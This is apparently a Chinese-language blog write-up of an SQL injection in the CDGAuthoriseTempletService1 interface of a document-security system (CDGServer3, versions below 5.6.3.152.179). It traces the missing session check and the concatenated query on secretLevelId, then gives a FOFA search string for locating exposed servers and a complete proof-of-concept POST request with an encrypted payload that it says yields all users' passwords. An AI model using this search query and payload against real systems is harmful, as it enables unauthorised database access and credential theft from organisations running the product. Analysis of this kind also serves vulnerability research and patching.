某通文档xxx系统(简称CDG)是一款综合性的数据智能安全产品,主要用于保护电子文档的安全某通文档xxx系统的 CDGAuthoriseTempletService1 接口存在 SQL 注入漏洞。攻击者可以通过构造特定的 POST 请求注入恶意 SQL 代码,利用该漏洞对数据库执行任意 SQL 操作,获取所有用户的账户密码信息。
fofa:
body="/CDGServer3/index.jsp"
某通文档xxx系统version<5.6.3.152.179受影响。
漏洞点快速查找,拿到源代码后,根据某步平台给出路径CDGAuthoriseTempletService1查找相关类文件
文件路径为:\tomcat\webapps\CDGServer3\WEB-INF\lib\jhiberest.jar!\com\esafenet\servlet\service\document\CDGAuthoriseTempletService1.class
首先分析下路由与鉴权
分析web.xml配置文件
在该漏洞版本的代码中,该/CDGAuthoriseTempletService1/接口路径未设置serssion效验
对比新版代码里的xml文件,显而易见已增加效验
GetCDGAuthoriseTemplet gcat = (GetCDGAuthoriseTemplet)this.xStream.fromXML(toServerXML);
继续分析漏洞点,使用XStream
库将名为toServerXML
的XML字符串解析成GetCDGAuthoriseTemplet
类型的Java对象,并将这个对象赋值给名为gcat
的变量
跟进代码发现调⽤validateInfo对其进⾏检查,验证用户ID(userId
)和密级ID(secretLevelId
)的有效性,进入else需要返回true才行所以我们要知道一个一定存在用户名,默认系统用户为SystemAdmin
继续跟进发现调⽤ getAuthoriseTempletList 方法
,发现此处进行拼接查询
userId固定,注入参数为secretLevelId,构造xml数据包
需要利用工具加密
poc:
POST /CDGServer3/CDGAuthoriseTempletService1 HTTP/1.1
Host: x
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
CGKFAICMPFGICCPHKFGGGBOMICMOKOBGPCBLKPCAHAGPFJHFABCPPKIOHIAIBJLLHJCODJMAGKBGIKDAFJHJMMKBDHABAJPBFNLBOIDFBHMMFKFHLPIAOPHEOAICJEMBCKFEIPGINHHBEGDOMEOPDKJGPNIJEDNOMEKLJHCGOJCEIPFPEDGBEHJLMNEEFIKFPGCCKCFCCOMONKACOEENLFIBAGNJBLHDEJCIPHOPDOAMGLINIEJDIFOLLGEDIDMDAKIPEINHHOFBOHLPEJBPJBKJLDDEIFOGLGHKANECEEGNDCNMJNLNJBFKNGKKJFODMFEKBOGFNDNJMCMHOFJBLGHEBALFGNNGLPBMKHHHGNKNHJGLFLODDIKAAOOOAJAEMBLBNMGOFJELPABKOEGMFLIBGPMHJPEJCKFBGHHNGMDAJBKBNNMIMFELPGEHDFGNHMBLEIKMINOAOAINBLEOIGHAMOPDNOIFFEFLGBFOFAGACH
1 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!